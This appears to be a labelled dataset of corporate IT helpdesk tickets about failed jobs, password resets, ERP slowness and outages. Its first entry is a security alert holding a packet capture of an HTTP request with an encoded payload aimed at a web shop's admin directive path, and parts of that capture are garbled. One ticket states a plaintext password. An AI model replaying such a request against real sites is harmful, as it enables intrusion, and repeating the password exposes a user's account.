1== + + +[ex http_uri 9: /admin/cms_wysiwyg/directive/index/] + +[ex http_hostname 10: www.company.de] + +[o:security] + +ascii packet(s): +==pcap 1 ascii s== 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484e 7663 6e52 lx2xldmvslhnvcnr +0003d0 6662 334a 6b5a 5849 7363 6d39 735a 5639 fb3jkzxisupply_chain9szv9 +0003e0 3065 5842 6c4c 4856 7a5a 584a 6661 5751 0exbllhvzzxjfawq +0003f0 7363 6d39 735a 5639 7559 5731 6c4b 5342 supply_chain9szv9uyw1lksb +000400 5751 5578 5652 564d 674b 4445 734d 6977 wquxvrvmgkdesmiw +000410 774c 4364 564a 7977 6f55 3056 4d52 554e wlcdvjywou0vmrun +000420 5549 4856 7a5a 584a 6661 5751 6752 6c4a uihvzzxjfawqgrlj +000430 5054 5342 685a 4731 7062 6c39 3163 3256 ptsbhzg1pbl91c2v +000440 7949 4664 4952 564a 4649 4856 7a5a 584a yifdirvjfihvzzxj +000450 7559 5731 6c49 4430 674a 3342 7662 476c uyw1lid0gj3bvbgl +000460 6a65 5363 704c 4364 4761 584a 7a64 4735 jescplcdgaxjzdg5 +000470 6862 5755 6e4b 5473 3d26 5f5f 5f64 6972 hbwunkts=&___dir +000480 6563 7469 7665 3d65 3374 6962 4739 6a61 ective=e3tibg9ja +000490 7942 3065 5842 6c50 5546 6b62 576c 7561 yb0exblpufkbwlua +0004a0 4852 7462 4339 795a 5842 7663 6e52 6663 hrtbc9yzxbvcnrfc +0004b0 3256 6863 6d4e 6f58 3264 7961 5751 6762 2vhcmnox2dyawqgb +0004c0 3356 3063 4856 3050 5764 6c64 454e 7a64 3v0chv0pwdldenzd +0004d0 6b5a 7062 4756 3966 513d 3d26 666f 7277 kzpbgv9fq==&forw +0004e0 6172 6465 643d 3126 arded=1& +==pcap 1 hex e== +[[3 of 4 events not shown due to space constraints]] +take action + +ticket action:",GRP_2 +热压炉4号plc控制器通讯模块网络地址丢失 今年发生了5次网络地址丢失，需要重启设备后，才能重新恢复，在其他设备上无此故障。是否绑定ip地址？,GRP_30 +reset passwords for hgyvopct dhckfmbq using password_management_tool password reset. 请将密码设置为：sdguo1609,GRP_17 +"job Job_2883 failed in job_scheduler at: 09/18/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2883 failed in job_scheduler at: 09/18/2016 00:02:00",GRP_8 +"job bwdpmbkp failed in job_scheduler at: 09/18/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bwdpmbkp failed in job_scheduler at: 09/18/2016 00:02:00",GRP_9 +"job Job_2883 failed in job_scheduler at: 09/18/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2883 failed in job_scheduler at: 09/18/2016 00:02:00",GRP_8 +"job Job_1321 failed in job_scheduler at: 09/17/2016 23:51:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1321 failed in job_scheduler at: 09/17/2016 23:51:00",GRP_9 +"job Job_2883 failed in job_scheduler at: 09/17/2016 23:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2883 failed in job_scheduler at: 09/17/2016 23:11:00",GRP_13 +windows account locked windows account locked ,GRP_0 +电脑意外进水，帮助处理！请交小贺，谢谢 电脑意外进水，帮助处理！请交小贺，谢谢,GRP_30 +"job Job_370 failed in job_scheduler at: 09/17/2016 22:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_370 failed in job_scheduler at: 09/17/2016 22:11:00",GRP_8 +"erp logon + +received from: rujpckto.lhutkpxm@gmail.com + +help team + +today is chinese working day. can you open erp system aerp? + +rujpckto lhutkpxm(朱宁) +materials manager +company (apac) co., ltd. + +",GRP_0 +alwaysupservice.exe is not running in many plm conversion servers HostName_107; HostName_108; HostName_521; HostName_520; HostName_986 : alwaysupservice.exe is not running,GRP_14 +"job Job_567 failed in job_scheduler at: 09/17/2016 20:33:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_567 failed in job_scheduler at: 09/17/2016 20:33:00",GRP_8 +"job Job_1391 failed in job_scheduler at: 09/17/2016 18:25:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1391 failed in job_scheduler at: 09/17/2016 18:25:00",GRP_9 +"job Job_1665 failed in job_scheduler at: 09/17/2016 18:25:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1665 failed in job_scheduler at: 09/17/2016 18:25:00",GRP_8 +"job Job_1336 failed in job_scheduler at: 09/17/2016 17:43:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1336 failed in job_scheduler at: 09/17/2016 17:43:00",GRP_9 +"job bwdpmbkp failed in job_scheduler at: 09/17/2016 14:48:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bwdpmbkp failed in job_scheduler at: 09/17/2016 14:48:00",GRP_9 +"job Job_3194 failed in job_scheduler at: 09/17/2016 14:10:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3194 failed in job_scheduler at: 09/17/2016 14:10:00",GRP_10 +"received call from , music was playing but no one was awswering. received call music was playing but no one was answering._x000D_ +_x000D_ + interaction id : 2064305748",GRP_0 +"job Job_1429 failed in job_scheduler at: 09/17/2016 11:43:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1429 failed in job_scheduler at: 09/17/2016 11:43:00",GRP_6 +"job bkwin_ms_cluster_full failed in job_scheduler at: 09/17/2016 11:16:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_ms_cluster_full failed in job_scheduler at: 09/17/2016 11:16:00",GRP_8 +"job Job_1422 failed in job_scheduler at: 09/17/2016 10:56:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1422 failed in job_scheduler at: 09/17/2016 10:56:00",GRP_6 +password reset : password_management_tool passwordmanager password reset : password_management_tool passwordmanager,GRP_0 +"job Job_1318 failed in job_scheduler at: 09/17/2016 10:45:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1318 failed in job_scheduler at: 09/17/2016 10:45:00",GRP_9 +account of thomafghk is disabled account of thomafghk is disabled,GRP_0 +mobile device activation mobile device activation ,GRP_0 +mobile device activation : company provided mobile device activation : company provided,GRP_0 +"fwd: die synchronisierung mit exchange activesync ist auf ihrem gerät vorübergehend blockiert, bis der zugriff vom admin _x000D_ +_x000D_ +received from: nsoikcyf.jhybqael@gmail.com_x000D_ +_x000D_ +bitte um die freischaltung des neuen handy_x000D_ +_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_0 +password reset alert from o365 password reset alert from o365,GRP_0 +"job Job_2041 failed in job_scheduler at: 09/17/2016 05:44:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2041 failed in job_scheduler at: 09/17/2016 05:44:00",GRP_6 +"cannot submit engineering_tool to system when trying submit engineering_tool to system have problem, the message error is ""not connected with company network""._x000D_ +i think i'm already connect with vpn company but if try to submit still get failed. please advise",GRP_0 +"not able to submit reports in engineering_tool not able to submit reports in engineering_tool +contact # :",GRP_0 +"HostName_894 : volume: c:\ label:sys-HostName_894 28385a7b is over 85% space consumed. space available: 4.1 g HostName_894 : volume: c:\ label:sys-HostName_894 28385a7b is over 85% space consumed. space available: 4.1 g_x000D_ +",GRP_39 +"kein internetsignal from: itjzudor ybtmorxp +sent: saturday, september 17, 2016 9:53 am +to: ecwtrjnq jpecxuty +cc: nwfodmhc exurcwkm +subject: *** sehr wichtig*** kein internetsignal +importance: high + +hallo hartghymutg, + +meine internetleitung geht mal wieder nicht. + +anschluss + +kein signal eingang, kein w-lan. + +wo kann ich anrufen, bzw. wer unterstützt mich ? + +danke für deine info. + +mit freundlichen grüßen | best ",GRP_0 +"job Job_1329 failed in job_scheduler at: 09/17/2016 03:13:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1329 failed in job_scheduler at: 09/17/2016 03:13:00",GRP_9 +"job HostName_1019fail failed in job_scheduler at: 09/17/2016 03:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019fail failed in job_scheduler at: 09/17/2016 03:02:00",GRP_8 +"job Job_303 failed in job_scheduler at: 09/17/2016 03:01:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_303 failed in job_scheduler at: 09/17/2016 03:01:00",GRP_8 +"skype not working +name:ganedsght +language: +browser:microsoft internet explorer +email:plznsryi.ikugwqec@gmail.com +customer number: +telephone: +summary:skype not working +",GRP_0 +"all servrs in job_scheduler are unlinked all serves in job_scheduler are unlinked._x000D_ +not responding while trying to reconnect.",GRP_47 +HostName_170- swap space on:HostName_170 is 75% or less HostName_170- swap space on:HostName_170 is 75% or less,GRP_47 +unable to login to engineering tool unable to login to engineering tool ,GRP_0 +production_order_interface_app server down in india. not able to release production orders production_order_interface_app server down in india. not able to release production orders.,GRP_14 +"error message during route card release + +received from: phqwmniy.kjucgqom@gmail.com + +hello, + +while route card release error message appearing and route card not get printed: +[cid:image003.jpg@01SID_350c5.267b6b30] + +required help in resolving the issue, +[cid:image004.png@01SID_350c5.267b6b30] + +p please do not print this email unless it is absolutely necessary. spread environmental awareness. + +confidentiality caution: this communication (including any accompanying documents) is intended only for the sole use of the person(s) to whom it is addressed and may contain information that is privileged,confidential and exempt from disclosure. any unauthorised reading,dissemination ,distribution,duplication of this communication by someone other than the intended recipient is strictly prohibited. if your receipt of this communication is in error,please notify the sender and destrtgoy the original communication immediately.",GRP_14 +unable to login to engineering tool unable to login to engineering tool ,GRP_0 +"po print out. + +received from: wimozrdc.iodvtuaz@gmail.com + +hello , + +please refer the screen shot below. we are not getting po prints. please do the needful. + +[cid:image001.png@01SID_350c2.20eb5840] + +thanking you, + +srinifghvahs.s. + +wimozrdc.iodvtuaz@gmail.com + +www.company.com< + + + + +",GRP_14 +"job Job_549 failed in job_scheduler at: 09/16/2016 23:06:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_549 failed in job_scheduler at: 09/16/2016 23:06:00",GRP_8 +"job SID_39hoti failed in job_scheduler at: 09/16/2016 18:09:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_39hoti failed in job_scheduler at: 09/16/2016 18:09:00",GRP_8 +"help to change the windows password using password_management_tool password tool. help to change the windows password using password_management_tool password tool._x000D_ +-connected to the user system using teamviewer._x000D_ +-help the user login to the password_manager_tool password tool and change the passwords._x000D_ +-help the user to sync the psswords to the company network._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +ticket update on inplant_861120 ticket update on inplant_861120,GRP_0 +password reset on hr_tool and mii password reset on hr_tool and mii ,GRP_0 +unable to get the crm add-in on excel unable to get the crm add-in on excel ,GRP_0 +password reset to login to collaboration_platform and check paystub password reset to login to collaboration_platform and check paystub,GRP_0 +"user wants to download software shared with him from collaboration_platform. user wants to download software shared with him from collaboration_platform._x000D_ +-connected to the user system using teamviewer._x000D_ +-help the user download the software on the local system._x000D_ +-issue resolved.",GRP_0 +"the correct delivery dates are not showing on the schedule lines and the output so# 35035632 is set up to ship 2nd day air which would be 9/20/16; however, erp is showing a delivery date of 9/21 (3 days)._x000D_ +quote 3116244166 was entered with next day air shipping. the delivery date should be 9/16/16, but it is 9/20/16._x000D_ +quote 3116230798 was entered with next day air shipping. the delivery date should be 9/13/16, but it is 9/19/16.",GRP_18 +"phone issue _x000D_ +_x000D_ +received from: kxsceyzo.naokumlb@gmail.com_x000D_ +_x000D_ +i have a user that decided that she need to have her office turned 180 degrees. this means her phone is in another port. i managed to get it powered by using a poe injector. but currently her phone won't sync. her extension is 1223 and the mac address is 00.04.f2.d5.5b.aa._x000D_ +_x000D_ +",GRP_4 +"erp log in + +received from: idkfgcnq.vjwhmzor@gmail.com + +can you please unlock my erp. my password was not working after i changed it. + +vyjmlain hvjbmdgi +senior technical service rep +inside-sales@company.com + + + +",GRP_0 +unable to log in to erp unable to log in to erp ,GRP_0 +"erro programdntya docad - rj user: olghiveii + +erro ao acessar programdntya docad: + +""unavailable database""",GRP_62 +"slight change to desktop _x000D_ +_x000D_ +received from: crkdjbot.qiztrxne@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +is there a way to remove this information from my desktop screen?_x000D_ +_x000D_ +",GRP_0 +"call from vitalyst : opportunities are not editable call from vitalyst : opportunities are not editable_x000D_ +check screen shot._x000D_ +_x000D_ +so we are required to use and enter our customer, lead and opportstorage_product data into crm. we understand, but when we do this, many times the actual data entry fields are locked to us, we cannot enter anything. also the flow of the screen and the lack of any intuitive input is very much challenging! _x000D_ +this is true on the opportstorage_product screens, also the lead screens, etc. ",GRP_22 +"laptop _ screen problem. + +received from: rohjghit.kumghtwar@company.com + +dear it team , + +i am face problem in my laptop screen, there is vertical line strips are coming on screen from today . refer below pic.. + +earlier also i was facing this problem but it was not permanent but from today its continue on screen. kindly look into it… + +[cid:image001.jpg@01SID_3506f.3653c6c0] + +rohjghit kumghtwar +application engineering +rohjghit.kumghtwar@company.com + + + + +",GRP_19 +admin access need the administrator access for user vijghyduhprga yeghrrajghodu to install the dac software,GRP_19 +"the interface ethernet13/5(port-channel to fluke trueview appliance) on '28.70.69.134'intermittenly going down. the interface ethernet13/5(port-channel to fluke trueview appliance) on '28.70.69.134'(company-dc-nx7018.company.com) is going down intermittently._x000D_ +",GRP_4 +"9401555132 & 0512667163 vat not tally from: raghyvhdra najuty +sent: friday, september 16, 2016 4:50 pm +to: nwfodmhc exurcwkm +cc: srinfhyath araghtyu; parthyrubhji erathyur; hdfvbjoe obvrxtya; raghjkavhjkdra rao +subject: dan - re: 0512666243 & 0512667163 vat not tally + +please refer below mail which mentions that vat does not tally in the inwarehouse_tools no.0512666243 dated:-16/08/2016 and inwarehouse_tool no.0512667163 dated:-18/08/2016 + +i had raised similar ticket last week for some other inwarehouse_tools . we are coming across such issues frequently and request you to ensure that this type of error is not repeated . + + +",GRP_10 +"can you please check the bobj account of stefdgthy. he gets the enclosed error message when trying to open a bobj report dear all,_x000D_ +_x000D_ +can you please check the bobj account of wohzmlib fxwjhapo. he gets the enclosed error message when trying to open a bobj report._x000D_ +_x000D_ +",GRP_9 +"one note issue : file not getting synched. one note issue : file not getting synched._x000D_ +logged out and trying logging in back, no go._x000D_ +checked if other user are able to sync , no issues with other users.",GRP_16 +"printer not printing name:ljztkmds ltjkirwy +language: +browser:microsoft internet explorer +email:ljztkmds.ltjkirwy@gmail.com +customer number: +telephone: +summary:cannot access printers in the usa plant. acts like i need to install driver, but then does not give me access to HostName_837.never had issues in the past. not sure if permissions changed when changes positions.",GRP_0 +"change mm packages from plant_248 bom's hi team_x000D_ +_x000D_ +we need the items related below, must be replaced for the new packages filled in the plant_248 bom's_x000D_ +._x000D_ +current 6092194 - change by 7309918_x000D_ +current 6092195 - change by 7309918_x000D_ +current 6092196 - change by 7309919_x000D_ +current 6092197 - change by 7309910_x000D_ +current 6092101 - change by 7309910_x000D_ +._x000D_ +",GRP_45 +unable to get audio on skype meeting unable to get audio on skype meeting ,GRP_0 +entering power save mode : external monitor entering power save mode : external monitor,GRP_0 +"stop hr jobs hi tim,_x000D_ +_x000D_ +please stop the attached hr jobs with immediate effect._x000D_ +hr160_x000D_ +hr180_x000D_ +_x000D_ +",GRP_5 +"expense report error - manager needs authorization + +received from: ifblxjmc.dyrgfwbm@gmail.com + +hello, + +spqrtkew vpmnusaf needs authorization to approve expense reports for sqmabtwn fchijage. one team is correct with sqmabtwn fchijage reporting to avigtshay. the expense side just needs updated. + +below is the error he is getting. + +",GRP_2 +"unable to login to ethics when trying to login to ethics, user gets the following error_x000D_ +_x000D_ +welcome to the company business ethics & conduct center_x000D_ +(ethics) training site. our records indicate that the log-in_x000D_ +credentials you used to access this site from the company's_x000D_ +collaboration_platform do not match the records we have on file within the_x000D_ +active directory. please submit a ticket to the global support_x000D_ +center to ensure that your network log-in id is correctly entered_x000D_ +",GRP_23 +"install aiqjxhuv dceghpwn viewer install aiqjxhuv dceghpwn viewer ._x000D_ +._x000D_ +software available at p:\ drive in the \temporary\aiqjxhuv dceghpwn viewer subdirectory. ",GRP_62 +"urgent request to complete your requirement fy17 q1 ethics module - working together: promoting mutual respect hello,_x000D_ +_x000D_ +please advise, undeliverable e-mail. is this person still with company?_x000D_ +_x000D_ +",GRP_0 +"job Job_1967b failed in job_scheduler at: 09/16/2016 10:59:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1967b failed in job_scheduler at: 09/16/2016 10:59:00",GRP_6 +"not able to lopgin to collaboration_platform using email address. not able to login to collaboration_platform using email address._x000D_ +changes settings in extension attribute editor15 and asked user to login after some time",GRP_0 +" ship-to # 81051078 created / not visible in erp from: customermaster +sent: friday, september 16, 2016 7:14 pm +to: repyzajo lxfwopyq; customermaster; nwfodmhc exurcwkm +cc: fctmzhyk cznlfbom +subject: amar re: ship-to # 81051078 created / not visible in erp +importance: high + +it, +ship to account # 81051078 was created in crm over 3 hrs ago and is still not visible in ecc (SID_34). all required fields are completed. please advise why this account has not replicated to SID_34. this account is needed for additional actions!! + +nkthumgf mwgdenbs +nkthumgf.mwgdenbs@gmail.com +ph: + +from: repyzajo lxfwopyq +sent: friday, september 16, 2016 6:44 am +to: customermaster +cc: fctmzhyk cznlfbom +subject: ship-to # 81051078 created / not visible in erp +importance: high + +hello customer master team, + +we have created a new ship-to address # 81051078 for the sold-to #81034820 under 1278/01/03. +the account is set up correctly and visible in crm, but after few hours it is still not visible in erp. + +could you please help ? + + +best ",GRP_15 +"solicito a instalação de software adobe acrobat solicito a instalação do software adobe acrobat para a manutenção e criação de documentos diversos como, importação e exportação.",GRP_62 +"analysis for office - hana - access (1 user out of 3 without access to hana) _x000D_ +_x000D_ +received from: uzpycdho.hdswinlo@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +within the european pricing team we are experiencing for some users troubles in getting the right connection to business explorer hana._x000D_ +_x000D_ +you will receive a couple of tickets in showing what the error / behavior is and hope for you a quick resolution from you._x000D_ +_x000D_ +user: uylvgtfi eovkxgpn, germany location_x000D_ +_x000D_ +attachment:_x000D_ +set of instruction we are using_x000D_ +error log_x000D_ +and screenshot below._x000D_ +_x000D_ +setup of the machine has been completed through local it._x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +"vendor and customer balance in local currency list(s­_alr_98123193 and s_alr_98123283) help desk,_x000D_ +_x000D_ +in fy2017, the end of month balance in s_alr_98123193 is different from the trial balance in f.01. _x000D_ +previous month end of balance is zero in s_alr_98123193._x000D_ +_x000D_ +under the same conditions in fy2016, previous month end of balance appear._x000D_ +and the end of month balance match between s_alr_98123193 and f.01._x000D_ +_x000D_ +what is the cause?_x000D_ +",GRP_10 +"erp access issue : passward re-set for SID_4 system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_4 + +enter user id of user having the issue: arrojhsjd + +transaction code(s) the user needs or was working with: + +describe the issue: + +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket. + +provide access the same as this other user:",GRP_2 +wireless is not working. wireless is not working.,GRP_0 +erp SID_34 account locked. erp SID_34 account locked.,GRP_0 +need access to shop_floor_app corrected i don't have the access to update work centers in shop_floor_app. i don't have access to the system tab in shop_floor_app. it looks like i am missing some items,GRP_43 +virus issue /google maps issue virus issue /google maps issue ,GRP_0 +unable to install engineering_tool unable to install engineering_tool,GRP_0 +unable to login to skype unable to login to skype,GRP_0 +johghajknn needed information about passwords. johghajknn needed information about passwords.,GRP_0 +"unable to launch engineering tool name:stefyty hipghkinjyt +language: +browser:microsoft internet explorer +email:zikuvsat.spxycizr@gmail.com +customer number: +telephone: +summary:engineering tool has failed to load. +error log available, but too large to paste here.",GRP_0 +unlocked account unlocked account,GRP_0 +explanation about password manager is required. explanation about password manager is required.,GRP_0 +unable to connect to wireless. unable to connect to wireless.,GRP_0 +"mjvfxnka zvjxuahe is not able to add campaign ""global hard machining"" to his opportunities when user adds the above campaign to an opportstorage_product and hits save crm delivers the error that he does not have privilages to perform this action. log file and screenshot attached. _x000D_ +eva_x000D_ +",GRP_40 +install pdfmailer \ahlqgjwx wbsfavhg install pdfmailer \ahlqgjwx wbsfavhg,GRP_24 +unable to connect to wifi unable to connect to wifi,GRP_0 +"password change , no outlook _x000D_ +_x000D_ +received from: xkegcqov.drctxjqi@gmail.com_x000D_ +_x000D_ +changed my password this morning now i cannot open outlook._x000D_ +this happened last time also, it was a crm issue that happens when password is changed._x000D_ +_x000D_ +high importance_x000D_ +_x000D_ +_x000D_ +_x000D_ +xkegcqov drctxjqi_x000D_ + application engineer - cmp_x000D_ +industrial segment_x000D_ +xkegcqov.drctxjqi@gmail.com_x000D_ +m 1-229-300-4142_x000D_ +t 1-800-446-7738_x000D_ +_x000D_ +_x000D_ +",GRP_0 +installl bex analysis add in installl bex analysis add in,GRP_0 +"laptop battery needs to replaced aerp:service tag:dd9p882 my laptop battery needs to be replaced aerp. battery backup is very poor laptop is powering off when i remove it from docking station._x000D_ +service tag:dd9p882_x000D_ +laptop model:dell latitude e5450",GRP_19 +no 'originals' for dir71805607 - manufacturing waiting there have been no 'original' files created for dir71805607. it is fr. production is on hold waiting for these files.,GRP_46 +"an der maschine 15 (agathon combi) funktioniert die netzwerkverbindung nicht hallo _x000D_ +_x000D_ +an der maschine 15 (agathon combi) funktioniert die netzwerkverbindung nicht._x000D_ +kannst du bitte einmal nachschauen?_x000D_ +_x000D_ +danke_x000D_ +_x000D_ +gruß_x000D_ + marftgytin_x000D_ +",GRP_24 +"unable to install engineering_tools unable to install engineering_tools. + +t +",GRP_25 +inc1551048 - ticket update inc1551048 - ticket update,GRP_0 +skype audio issue other person unable hear my warehouse_tool on skype call.,GRP_19 +"space requirement in grinding drive _x000D_ +_x000D_ +received from: vkzwibco.pueyvhoi@gmail.com_x000D_ +_x000D_ +dear sir/madam,_x000D_ +_x000D_ +the space available in grinding drive is only 791 mb. please provide additional space in the drive at the earliest._x000D_ +_x000D_ +[cid:image001.png@01SID_35033.4c7cf5c0]_x000D_ +_x000D_ +",GRP_12 +"network outage:india - india ():vpn circuit is down since at 5:49 am et on 09/16.no backup what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _____5:49 am et on 09/16_________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __na____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __na______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? __email_______ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_4 +windows password reset windows password reset,GRP_0 +"need telephony_software to be installed on ebhl8111136 - xwgnvksi dwijxgob - urgent csr cannot take calls need telephony_software to be installed on ebhl8111136 - xwgnvksi dwijxgob + +please contact karghyuen via skype for remote installation + +(zmgsfner caltmgoe - phone: )",GRP_33 +call to check if hybegvwo dbgrtqhs account is disabled call to check if hybegvwo dbgrtqhs account is disabled,GRP_0 +"re: revised prices - local + +received from: ryculmsd.wofgvkrb@gmail.com + +hi ; + +can we just make sure of these facts – please. +please can you confirm if this customer has a valid statement as he is complaining about our service and response to his mail and info forwarded to him . + +please just copy me in with your comments. +janhytrn ooshstyizen +sales manager - construction sa +ryculmsd.wofgvkrb@gmail.com + +new road king bit catalog: + + +from: johan kok [mailto:johan.kok@in-corp.com] +sent: friday, september 16, 2016 10:51 am +to: jofghan kddok ; janhytrn ooshstyizen ; 'hennidgtydhyue booysen' +subject: re: revised prices - local + +hi jan, + +i did request this before. please could you ensure that your e-mail administrator (wherever in the world he sits), could fix the below: + +this message was created automatically by mail delivery software. + + + +a message that you sent could not be delivered to one or more of its recipients. this is a permanent error. the following address(es) failed: + + + + ryculmsd.wofgvkrb@gmail.com + + host company-com.mail.protection.outlook.com [207.46.163.247] + + smtp error from remote mail server after rcpt to:>: + + 550 5.7.1 service unavailable, client host [154.0.170.195] blocked using customer block list (as27123718) + + +",GRP_26 +"wunderlist add in _x000D_ +_x000D_ +received from: bmudkpie.qolrvbip@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i use a microsoft mobile phone and in the outlook for the mobile are no tasks available._x000D_ +_x000D_ +can we use wunderlist add in ?_x000D_ +_x000D_ +there is an app for it and an outlook add in, but it's not starting._x000D_ +_x000D_ +best ",GRP_0 +"ich sehe meine reisekostenabrechnungen in erp nicht mehr (transaktion pr05). ich sehe meine reisekostenabrechnungen in erp nicht mehr (transaktion pr05). es kommt die meldung infotype '0017' for 01.09.2016 does not exist for pers. no._x000D_ +",GRP_10 +we are not getting communication in to attendance_tool system from the following clocks. request you to check on priority. we are not getting communication in to attendance_tool system from the following clocks. request you to check on priority.,GRP_19 +drucker tauschen ( we39 und we75 ) \gogtyek drucker tauschen ( we39 und we75 ) \gogtyek,GRP_24 +"account of thomafghk is disabled + +received from: ustvaifg.hmzfewks@gmail.com + +hello + +someone has disabled the ad account of hybegvwo dbgrtqhs / thomafghk 2 days ago. +could you please reactivate it and tell us why it was disabled. + has changed the location from switzerland to germany, but he is still an employee. + +michghytuael (as the manager of hybegvwo dbgrtqhs) or mathyuithihyt (as the director hr) please confirm that is still working for company. +",GRP_2 +probleme mit outlook \ engracia.gonzales-fernandez probleme mit outlook \ engracia.gonzales-fernandez ,GRP_24 +"kpobysnc tqvefyui mail box needs to be approved nad then uacyltoe hxgaycze and enable please approve the mailbox of kpobysnc tqvefyui user in following environments:_x000D_ +uacyltoe hxgaycze:- _x000D_ +tempdev-_x000D_ +train-_x000D_ +prod-_x000D_ +_x000D_ +",GRP_16 +"application response time (other network resources work normally) our colleagues have opened a ticket about the same issue that spain (sales org 1248 ) and portugal (sales org 1406) have. _x000D_ +_x000D_ +ticket inc1551906 _x000D_ +_x000D_ +best ",GRP_0 +"job Job_512 failed in job_scheduler at: 09/16/2016 04:20:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +9/16/2016 3:07:31 am :: error: cannot authenticate user._x000D_ +soap fault. detail: '', endpoint: ''_x000D_ +soap connection is not available. connection id: [HostName_1018.company.company.com]._x000D_ +failed to create nfc download stream. nfc path: [nfc://conn:HostName_1018.company.company.com,nfchost:host-30668,stg:datastore-63448@HostName_919/HostName_919.vmx]._x000D_ + _x000D_ +job Job_512 failed in job_scheduler at: 09/16/2016 04:20:00",GRP_8 +"network access for vahjtusa wenghtyele for fürth network drive is required folder :; \\eagcldaten\teams\gpc +access read and write +user id weghyndlv ",GRP_34 +"job Job_593 failed in job_scheduler at: 09/16/2016 04:21:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +[critical] from: bda-net@lhqSID_1840.company.company.com ""lhqSID_1840.company.company.com [/e]"" time: 9/16/2016 4:20:04 am_x000D_ + ipc failure reading net message (ipc read error_x000D_ + system error: [10054] connection reset by peer_x000D_ +) => aborting._x000D_ +_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 09/16/2016 04:21:00",GRP_8 +"network outage:usa mi :brembo: site hard down since at 9/16/2016 4:04 am et what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? __no_______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ___9/16/2016 4:04 am et________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __no_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___na___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____na____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ___na______ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___na________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___no____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ____na____ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +probleme mit erpgui \vsdtxwry ngkcdjye probleme mit erpgui \vsdtxwry ngkcdjye,GRP_24 +"many users in our germany location (earlier germany) are complaining of response time issues in erp we are experiancing slow response times in our location in erp. various transactions ( va01, va02, va21, va22, md04 etc. i am currentlyx on server axhg30335 and mine is ok but others complain. as i was on server HostName_197 i experienced also issues. i have heard of at least 3 servers with issues HostName_197,30331 and 30338. please check network or connection and advise.",GRP_14 +"erp zload - releasing orders in vSID_62 take much too long - please check! the erp response time, especially out of zload takes much too long. + +anfghyudrejy",GRP_0 +"erp performance + +received from: ctvaejbo.mjcerqwo@gmail.com + +hi, + +we're noticing very slow performance with erp at the uk facility, + +pollaurid d phlpiops +manager engineering technology + + +",GRP_0 +"erp is slow in multiple locations : poland , united kingdom, germany erp is slow._x000D_ +internet is running fine._x000D_ +other applications (outlook etc) are running fine._x000D_ +many 